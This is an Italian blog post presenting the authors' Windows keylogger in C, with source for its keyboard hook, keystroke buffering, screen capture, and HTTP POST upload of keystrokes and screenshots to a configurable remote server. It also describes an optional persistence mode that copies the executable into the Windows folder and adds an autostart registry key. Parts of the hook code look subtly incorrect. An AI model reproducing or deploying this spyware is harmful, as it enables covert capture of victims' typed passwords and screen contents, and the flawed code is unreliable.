Un keylogger scritto completamente in C e compatibile con Windows XP, Windows 7/8/10. Questo keylogger effettua snapshot dello schermo e invia tasti e immagini ad un back end PHP remoto (specificabile nel sorgente).
Ecco il link al repository su github:
https://github.com/gianlucag/Keylogger
E' lo sforzo congiunto mio e di Gaetano di Mitri; per circa 1 settimana abbiamo lavorato a questo progetto.
Ecco le caratteristiche principali del keylogger:
Gli eventi mouse sono opzionali, l'intervallo di cattura dello snapshot è configurabile cosi' come l'URL remoto di invio dei dati.
Il keylogger si basa essenzialmente sulla hook Windows WH_KEYBOARD_LL. Questa hook permette l'intercettazione a basso livello degli eventi tastiera generati dall'utente. Specificando una apposita callback (in questo caso RawInputKeyboard) è possibile dirottare tutti i keystroke verso questa funzione, registrarli in memoria e quindi ripassarli al sistema operativo. I keystroke vengono registrati in un buffer dinamico che cresce in funzione della quantità di dati ricevuti. Ogni tot secondi (configurabili) il keylogger "svuota" il buffer e invia i dati ad un URL specifico, anch'esso configurabile. L'invio è una semplice chiamata HTTP POST effettuata tramite la libreria libCurl. Una hook secondaria (WH_MOUSE_LL) permette invece di ricevere gli eventi del mouse (posizione, click sinistro, destro, doppio click etc..).
Ad intervalli regolari il keylogger provvede inoltre a creare uno snapshot dello schermo per poi inviare i dati al medesimo backend remoto, sempre in modalità HTTP POST.
Analizziamo meglio il codice sorgente:
Nel main() viene creato il thread in ascolto per gli eventi tastiera (funzione Keylogger()). Successivamente il programma si porta in un loop infinito nel quale invia i dati al backend remoto. In questo loop viene creato lo snapshot dello schermo e viene svuotato il buffer dei tasti digitati. I dati sono passati a CURL che a sua volta effettua la connessione HTTP POST al server.
int main(int argn, char* argv[])
{
mutex = CreateMutex(NULL, FALSE, NULL);
buffer = (char*)malloc(BUFFERLEN);
buffer[0] = 0;
HANDLE logger;
logger = CreateThread(NULL, 0, KeyLogger, NULL, 0, NULL);
unsigned int timer = 0;
int len;
while(1)
{
if(timer % SNAPSHOT_SEC == 0)
{
SendScreenshot();
}
if(timer % 10 == 0)
{
// lock
WaitForSingleObject(mutex, INFINITE);
len = strlen(buffer);
// unlock
ReleaseMutex(mutex);
int res = CurlSend(buffer, len, "text=");
if(res)
{
// lock
WaitForSingleObject(mutex, INFINITE);
// reset buffer
strcpy(buffer, buffer + len);
// unlock
ReleaseMutex(mutex);
}
}
timer++;
Sleep(1000); // 1 sec sleep
}
return 0;
}
Il thread Keylogger() crea la hook WH_KEYBOARD_LL e istruisce il sistema operativo a chiamare la callback RawInputKeyboard() ogni qualvolta l'utente preme un tasto sulla tastiera. La suddetta funzione non fa altro che inserire il keystroke nel buffer. Se il buffer è pieno, viene ri-allocato raddoppiandone la dimensione (NdA. grazie Gaetano!). La callback controlla l'evento WM_KEYDOWN ossia l'evento di pressione tasto; è possibile controllare anche altri eventi quali tasto rilasciato WM_KEYUP, tasto in hold e molti altri
LRESULT CALLBACK RawInputKeyboard(HWND hwnd, int nCode, WPARAM wParam, LPARAM lParam)
{
if(nCode == WM_KEYDOWN)
{
KBDLLHOOKSTRUCT *keyboard = (KBDLLHOOKSTRUCT *)wParam;
SaveKey(keyboard->vkCode);
}
return DefWindowProc(hwnd, nCode, wParam, lParam);
}
DWORD WINAPI KeyLogger()
{
HINSTANCE hExe = GetModuleHandle(NULL);
//hMouseHook = SetWindowsHookEx(WH_MOUSE_LL,(HOOKPROC)RawInputMouse, hExe, 0);
hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)RawInputKeyboard, hExe, 0);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) != 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
Da notare che thread principale e thread keylogger condividono il buffer dati (uno legge e l'altro lo scrive), perciò è stato utilizzato un mutex per gestirne la concorrenza.
La creazione dello snapshot si è rivelata alquanto complessa. In Windows è possibile richiedere lo snapshot dello schermo corrente chiamando la funzione CreateCompatibleBitmap che restituisce un array di byte ABGR (alfa, Blue, Green e Red), fondamentalmente una bitmap non compressa e quindi molto pesante (svariati megabyte per uno schermo 1080p). Inviare lo snapshot raw al server remoto è possibile ma veramente inefficiente. La soluzione è convertire la bitmap in una PNG da pochi kb utilizzando la libreria LodePNG. La libreria è scritta in C e consiste di due soli file .h e .c: prende in ingresso un byte array di valori RGBA, effettua la conversione e scrive la PNG su disco. La libreria è stata modificata in modo tale da non scrivere il file .png su disco ma semplicemente restituire un ulteriore buffer contenente i dati png
BOOL GetBMPScreen(HBITMAP bitmap, HDC bitmapDC, int width, int height, unsigned char** bufferOut, unsigned int* lengthOut)
{
BOOL Success=FALSE;
HDC SurfDC=NULL;
HBITMAP OffscrBmp=NULL;
HDC OffscrDC=NULL;
LPBITMAPINFO lpbi=NULL;
LPVOID lpvBits=NULL;
HANDLE BmpFile=INVALID_HANDLE_VALUE;
BITMAPFILEHEADER bmfh;
if ((OffscrBmp = CreateCompatibleBitmap(bitmapDC, width, height)) == NULL)
return FALSE;
if ((OffscrDC = CreateCompatibleDC(bitmapDC)) == NULL)
return FALSE;
HBITMAP OldBmp = (HBITMAP)SelectObject(OffscrDC, OffscrBmp);
BitBlt(OffscrDC, 0, 0, width, height, bitmapDC, 0, 0, SRCCOPY);
lpbi = (LPBITMAPINFO)malloc(sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD));
ZeroMemory(&lpbi->bmiHeader, sizeof(BITMAPINFOHEADER));
lpbi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
SelectObject(OffscrDC, OldBmp);
if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, NULL, lpbi, DIB_RGB_COLORS))
return FALSE;
lpvBits = malloc(lpbi->bmiHeader.biSizeImage);
if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, lpvBits, lpbi, DIB_RGB_COLORS))
return FALSE;
int h = height;
int w = width;
unsigned scanlineBytes = w * 4;
if(scanlineBytes % 4 != 0) scanlineBytes = (scanlineBytes / 4) * 4 + 4;
char *png = malloc(w * h * 4);
int x,y;
for(y = 0; y < h; y++)
for(x = 0; x < w; x++)
{
unsigned bmpos = (h - y - 1) * scanlineBytes + 4 * x;
unsigned newpos = 4 * y * w + 4 * x;
png[newpos + 0] = ((char *)lpvBits)[bmpos + 2]; //R
png[newpos + 1] = ((char *)lpvBits)[bmpos + 1]; //G
png[newpos + 2] = ((char *)lpvBits)[bmpos + 0]; //B
png[newpos + 3] = 255; //A
}
free(lpvBits);
lodepng_encode32_memory(png, width, height, bufferOut, lengthOut);
free(png);
return TRUE;
}
La modalità auto installer copia l'eseguibile all'interno della cartella di installazione di Windows e crea una chiave di registro per l'avvio automatico. La modalità è disattivata di default, per abilitarla occorre modificare il file sorgente. Nella modalità di default il keylogger si avvia come programma standard ed è ben riconoscibile nel task manager